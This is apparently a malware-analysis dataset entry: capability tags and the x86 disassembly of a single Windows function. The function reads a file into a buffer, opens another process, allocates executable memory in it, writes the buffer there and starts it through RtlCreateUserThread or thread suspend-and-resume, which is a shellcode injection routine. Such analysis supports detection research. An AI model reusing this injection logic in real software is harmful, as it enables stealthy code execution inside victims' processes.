Function at 0x10009070
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Get file size
Link many functions at runtime
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [0x1001f210]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
push 4
push 0
mov edi, ecx
push 0
push connect
lea eax, [edi + 0x474]
push eax
mov dword [ebp - 0x28], edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x24], eax
cmp eax, 0xffffffff
jne 0x10009102
push 0x1001cd98
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [eax + eax + 4]
push ebx
call fcn.1000bf2c
add esp, 4
push ebx
mov esi, eax
push 0
push esi
call fcn.10012120
add esp, 0xc
lea ecx, [ebx - 4]
push ecx
lea edx, [esi + 1]
push 0x1001cd98
push edx
mov byte [esi], 0
call fcn.100121a0
add esp, 0xc
cmp dword [edi + 8], 0
jne 0x100090fc
mov ecx, dword [edi + 4]
mov eax, dword [ecx]
mov edx, dword [eax + 8]
push ebx
push esi
call edx
push esi
jmp 0x100093fa
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov eax, dword [edi + 0x680]
push eax
push 0
push 0x1fffff
mov dword [ebp - 0x3c], esi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
jne 0x10009146
push 0x1001cda8
push edi
call fcn.100083c0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000bf42
mov esp, ebp
pop ebp
ret
push esi
call fcn.1000bf2c
add esp, 4
mov dword [ebp - 0x2c], eax
test eax, eax
jne 0x1000917c
push str.VirtualAlloc_Error
push edi
call fcn.100083c0
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000bf42
mov esp, ebp
pop ebp
ret
push 0
lea edx, [ebp - 0x4c]
push edx
push esi
push eax
mov eax, dword [ebp - 0x24]
push eax
mov dword [ebp - 0x4c], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [edi + 0x470]
dec eax
je 0x100093a4
sub eax, 2
je 0x1000920a
sub eax, 2
jne 0x100093ef
push 0x40
push 0x1000
push esi
push ebx
call fcn.10006a10
mov ecx, dword [ebp - 0x2c]
push 0
push esi
push ecx
push edx
push eax
push ebx
mov dword [ebp - 0x38], eax
call fcn.10006dc0
push str.RtlCreateUserThread
lea esi, [ebp - 0x48]
call fcn.10006940
mov edx, dword [ebp - 0x38]
push edx
mov edx, dword [edi + 0xaa8]
push ebx
lea eax, [ebp - 0x24]
push eax
mov eax, esi
mov dword [ebp - 0x24], 0
call fcn.1000ad30
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x100093ef
jmp 0x100093dd
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.NtAllocateVirtualMemory
push 0x1001c5f4
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.NtWriteVirtualMemory
push 0x1001c5f4
call esi
push eax
call edi
push str.NtSuspendThread
push 0x1001c5f4
call esi
push eax
call edi
push str.NtAlertResumeThread
push 0x1001c5f4
mov dword [ebp - 0x58], eax
call esi
push eax
call edi
push 0x1001cb64
push 0x1001c5f4
mov dword [ebp - 0x54], eax
call esi
push eax
call edi
push 0
push 4
mov dword [ebp - 0x50], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x24], esi
cmp esi, 0xffffffff
jne 0x1000928c
mov ecx, dword [ebp - 0x28]
push 0x1001cb78
push ecx
jmp 0x100093ea
lea edx, [ebp - 0x20]
push edx
push esi
mov dword [ebp - 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
jne 0x100092b0
mov eax, dword [ebp - 0x28]
push 0x1001cb8c
push eax
jmp 0x100093ea
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
cmp ecx, dword [edx + 0x680]
jne 0x10009351
mov eax, dword [ebp - 0x18]
push eax
push 0
push 0x10
mov dword [ebp - 0x34], eax
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x10009379
mov eax, dword [ebp - 0x3c]
push 0x40
push 0x1000
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x2c]
push 0
push ecx
push edx
mov esi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x1000931a
lea ecx, [ebp - 0x44]
push ecx
push edi
mov dword [ebp - 0x44], 0
call eax
push 0
push 0
push 0
push esi
push edi
call dword [ebp - 0x50]
mov esi, eax
mov eax, dword [ebp - 0x54]
test eax, eax
je 0x1000933c
lea edx, [ebp - 0x44]
push edx
push edi
mov dword [ebp - 0x44], 0
call eax
test esi, esi
jne 0x10009366
mov eax, dword [ebp - 0x28]
push 0x1001cbcc
push eax
call fcn.100083c0
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x100092b0
jmp 0x10009387
mov edx, dword [ebp - 0x28]
push str._tgHe
push edx
call fcn.100083c0
mov esi, dword [ebp - 0x24]
jmp 0x10009387
mov eax, dword [ebp - 0x28]
push 0x1001cc04
push eax
call fcn.100083c0
cmp dword [ebp - 0x34], 0
jne 0x1000939b
mov ecx, dword [ebp - 0x28]
push 0x1001cc24
push ecx
call fcn.100083c0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100093ef
push 0x40
push 0x1000
push esi
push ebx
call fcn.10006a10
mov ecx, dword [ebp - 0x2c]
push 0
push esi
push ecx
push edx
push eax
push ebx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
call fcn.10006dc0
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
push 0
push 0
push edx
push eax
push ebx
call fcn.10006f00
test eax, eax
je 0x100093e4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1001cdb8
push edi
call fcn.100083c0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.1000c9eb
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000bf42
mov esp, ebp
pop ebp
ret